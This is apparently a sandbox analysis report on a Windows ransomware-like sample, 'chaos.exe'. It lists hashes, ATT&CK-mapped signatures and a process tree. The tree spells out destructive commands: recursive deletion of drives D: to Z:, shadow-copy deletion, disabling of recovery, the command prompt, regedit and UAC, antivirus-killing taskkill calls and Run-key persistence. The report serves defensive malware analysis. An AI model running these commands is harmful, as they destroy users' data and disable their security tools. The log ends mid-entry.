c34c9cf80299c441ac46449604d8b03e712b3a6deaefd00622600839ccff6437

Analysis

max time kernel
15s
max time network
25s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/07/2026, 04:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
chaos.exe
Size 81KB
Sample260710-flel2aev7s
SHA256 c34c9cf80299c441ac46449604d8b03e712b3a6deaefd00622600839ccff6437
MD5 bce621a7347ba7894897f37ac2acacce
SHA1 ecc31519ddd11d505ae2fce671e93db26ac946ce
SHA512 7586812df7823434df9e042bec9f69c3e6f6f69f399d668d487f0cc60f75a2aac2ca009e803a2ffd417b39bcf36ed5722bc9d018761200f8d54b8d8df0e4e725
SSDEEP 1536:Miho4xLjQdXmR1oDPpMTiN+hKdYt6TpmNP1STfAz9IguzsKs4AVzvzMWIo:O4JjQd01o9VNqKdY+8V1STfqIgYsKs4V
TLSH
T152835D33F9169433D3445AF095A6AF66CA7AFCB28BA0A4C3B7C05EE644146C57F34A13
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery persistence privilege_escalation ransomware

Malware Config

Signatures

Blocks application from running via registry modification 1 IoCs

Adds application to list of disallowed applications.

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1"	chaos.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion

Disables cmd.exe use via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "2"	reg.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\ChaosService = "C:\\Users\\Admin\\AppData\\Local\\Temp\\chaos.exe"	chaos.exe

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
2	discord.com
18	discord.com

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\J:	chaos.exe
File opened (read-only)	\??\L:	chaos.exe
File opened (read-only)	\??\R:	chaos.exe
File opened (read-only)	\??\T:	chaos.exe
File opened (read-only)	\??\U:	chaos.exe
File opened (read-only)	\??\X:	chaos.exe
File opened (read-only)	\??\I:	chaos.exe
File opened (read-only)	\??\M:	chaos.exe
File opened (read-only)	\??\N:	chaos.exe
File opened (read-only)	\??\O:	chaos.exe
File opened (read-only)	\??\S:	chaos.exe
File opened (read-only)	\??\W:	chaos.exe
File opened (read-only)	\??\Z:	chaos.exe
File opened (read-only)	\??\F:	chaos.exe
File opened (read-only)	\??\G:	chaos.exe
File opened (read-only)	\??\K:	chaos.exe
File opened (read-only)	\??\Y:	chaos.exe
File opened (read-only)	\??\E:	chaos.exe
File opened (read-only)	\??\P:	chaos.exe
File opened (read-only)	\??\Q:	chaos.exe
File opened (read-only)	\??\V:	chaos.exe
File opened (read-only)	\??\D:	chaos.exe
File opened (read-only)	\??\H:	chaos.exe

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
5188	powercfg.exe
4228	powercfg.exe
4660	powercfg.exe
256	cmd.exe
1348	powercfg.exe
4848	cmd.exe
2856	cmd.exe
5016	cmd.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\Wallpaper	chaos.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Event Triggered Execution: Accessibility Features 1 TTPs
Windows contains accessibility features that may be used by adversaries to establish persistence and/or elevate privileges.
persistence privilege_escalation

Accessibility Features
T1546.008

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chaos.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 5 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2968	PING.EXE
5988	cmd.exe
4256	PING.EXE
5820	cmd.exe
4504	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4908	msedge.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5564	ipconfig.exe

Kills process with taskkill 9 IoCs

defense_evasion

pid	Process
1816	taskkill.exe
4676	taskkill.exe
4484	taskkill.exe
4280	taskkill.exe
4796	taskkill.exe
3248	taskkill.exe
5288	taskkill.exe
5804	taskkill.exe
4204	taskkill.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\WallpaperStyle = "2"	chaos.exe

Modifies registry key 1 TTPs 4 IoCs

Modify Registry

T1112

pid	Process
4536	reg.exe
420	reg.exe
2260	reg.exe
5340	reg.exe

Runs net.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
2968	PING.EXE
4256	PING.EXE

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1816	taskkill.exe
Token: SeDebugPrivilege	4676	taskkill.exe
Token: SeDebugPrivilege	4484	taskkill.exe
Token: SeDebugPrivilege	5804	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2084 wrote to memory of 5012	2084	chaos.exe	89
PID 5012 wrote to memory of 1236	5012	cmd.exe	91
PID 2084 wrote to memory of 3652	2084	chaos.exe	92
PID 3652 wrote to memory of 1860	3652	cmd.exe	94
PID 2084 wrote to memory of 248	2084	chaos.exe	95
PID 248 wrote to memory of 5496	248	cmd.exe	97
PID 2084 wrote to memory of 2680	2084	chaos.exe	98
PID 2680 wrote to memory of 5060	2680	cmd.exe	100
PID 2084 wrote to memory of 3408	2084	chaos.exe	101
PID 3408 wrote to memory of 1204	3408	cmd.exe	103
PID 2084 wrote to memory of 5944	2084	chaos.exe	104
PID 5944 wrote to memory of 5524	5944	cmd.exe	106
PID 2084 wrote to memory of 244	2084	chaos.exe	107
PID 244 wrote to memory of 5804	244	cmd.exe	109
PID 2084 wrote to memory of 4872	2084	chaos.exe	110
PID 4872 wrote to memory of 4080	4872	cmd.exe	112
PID 2084 wrote to memory of 4568	2084	chaos.exe	113
PID 4568 wrote to memory of 2584	4568	cmd.exe	115
PID 2084 wrote to memory of 5952	2084	chaos.exe	116
PID 5952 wrote to memory of 3936	5952	cmd.exe	118
PID 2084 wrote to memory of 5660	2084	chaos.exe	119
PID 5660 wrote to memory of 4652	5660	cmd.exe	121
PID 2084 wrote to memory of 2892	2084	chaos.exe	122
PID 2892 wrote to memory of 1516	2892	cmd.exe	124
PID 2084 wrote to memory of 3304	2084	chaos.exe	125
PID 3304 wrote to memory of 2808	3304	cmd.exe	127
PID 2084 wrote to memory of 2348	2084	chaos.exe	128
PID 2348 wrote to memory of 2576	2348	cmd.exe	130
PID 2084 wrote to memory of 3640	2084	chaos.exe	131
PID 3640 wrote to memory of 1076	3640	cmd.exe	133
PID 2084 wrote to memory of 1684	2084	chaos.exe	134
PID 1684 wrote to memory of 4864	1684	cmd.exe	136
PID 2084 wrote to memory of 4544	2084	chaos.exe	137
PID 4544 wrote to memory of 5068	4544	cmd.exe	139
PID 2084 wrote to memory of 4552	2084	chaos.exe	140
PID 4552 wrote to memory of 4524	4552	cmd.exe	142
PID 2084 wrote to memory of 2232	2084	chaos.exe	143
PID 2232 wrote to memory of 4648	2232	cmd.exe	145
PID 2084 wrote to memory of 3180	2084	chaos.exe	146
PID 3180 wrote to memory of 3852	3180	cmd.exe	148
PID 2084 wrote to memory of 5924	2084	chaos.exe	149
PID 5924 wrote to memory of 5220	5924	cmd.exe	151
PID 2084 wrote to memory of 3768	2084	chaos.exe	152
PID 3768 wrote to memory of 4260	3768	cmd.exe	154
PID 2084 wrote to memory of 5004	2084	chaos.exe	155
PID 5004 wrote to memory of 3076	5004	cmd.exe	157
PID 2084 wrote to memory of 4308	2084	chaos.exe	158
PID 4308 wrote to memory of 4536	4308	cmd.exe	160
PID 2084 wrote to memory of 2664	2084	chaos.exe	161
PID 2664 wrote to memory of 420	2664	cmd.exe	163
PID 2084 wrote to memory of 1060	2084	chaos.exe	164
PID 1060 wrote to memory of 2260	1060	cmd.exe	166
PID 2084 wrote to memory of 4664	2084	chaos.exe	167
PID 4664 wrote to memory of 5340	4664	cmd.exe	169
PID 2084 wrote to memory of 1764	2084	chaos.exe	170
PID 2084 wrote to memory of 1512	2084	chaos.exe	172
PID 2084 wrote to memory of 5576	2084	chaos.exe	174
PID 2084 wrote to memory of 2384	2084	chaos.exe	176
PID 2384 wrote to memory of 1816	2384	cmd.exe	178
PID 2084 wrote to memory of 5172	2084	chaos.exe	179
PID 5172 wrote to memory of 4676	5172	cmd.exe	181
PID 2084 wrote to memory of 3552	2084	chaos.exe	182
PID 3552 wrote to memory of 4484	3552	cmd.exe	184
PID 2084 wrote to memory of 3212	2084	chaos.exe	185

C:\Users\Admin\AppData\Local\Temp\chaos.exe
"C:\Users\Admin\AppData\Local\Temp\chaos.exe"
1⤵
- Blocks application from running via registry modification
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Suspicious use of WriteProcessMemory
PID:2084
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c rd /s /q D:\ 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5012
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rd /s /q D:\
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1236
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c rd /s /q E:\ 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3652
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rd /s /q E:\
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1860
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c rd /s /q F:\ 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:248
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rd /s /q F:\
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5496
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c rd /s /q G:\ 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2680
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rd /s /q G:\
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5060
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c rd /s /q H:\ 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3408
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rd /s /q H:\
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1204
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c rd /s /q I:\ 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5944
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rd /s /q I:\
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5524
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c rd /s /q J:\ 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:244
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rd /s /q J:\
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5804
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c rd /s /q K:\ 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4872
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rd /s /q K:\
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4080
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c rd /s /q L:\ 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4568
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rd /s /q L:\
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2584
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c rd /s /q M:\ 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5952
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rd /s /q M:\
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3936
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c rd /s /q N:\ 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5660
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rd /s /q N:\
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4652
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c rd /s /q O:\ 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2892
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rd /s /q O:\
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1516
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c rd /s /q P:\ 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3304
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rd /s /q P:\
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2808
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c rd /s /q Q:\ 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2348
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rd /s /q Q:\
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2576
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c rd /s /q R:\ 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3640
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rd /s /q R:\
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1076
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c rd /s /q S:\ 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1684
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rd /s /q S:\
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4864
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c rd /s /q T:\ 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4544
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rd /s /q T:\
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5068
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c rd /s /q U:\ 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4552
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rd /s /q U:\
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4524
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c rd /s /q V:\ 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2232
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rd /s /q V:\
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4648
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c rd /s /q W:\ 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3180
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rd /s /q W:\
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3852
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c rd /s /q X:\ 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5924
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rd /s /q X:\
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5220
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c rd /s /q Y:\ 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3768
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rd /s /q Y:\
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4260
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c rd /s /q Z:\ 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5004
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rd /s /q Z:\
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3076
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 2 /f >nul 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4308
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 2 /f
    3⤵
    - Disables cmd.exe use via registry modification
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4536
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f >nul 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2664
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    - Disables RegEdit via registry modification
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:420
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f >nul 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1060
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2260
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f >nul 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4664
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5340
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet >nul 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1764
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures >nul 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1512
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No >nul 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5576
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im avast.exe >nul 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2384
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im avast.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1816
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im avg.exe >nul 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5172
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im avg.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4676
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im mcafee.exe >nul 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3552
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im mcafee.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4484
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im msmpeng.exe >nul 2>nul
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3212
- - C:\Windows\SysWOW64\taskkill.exe
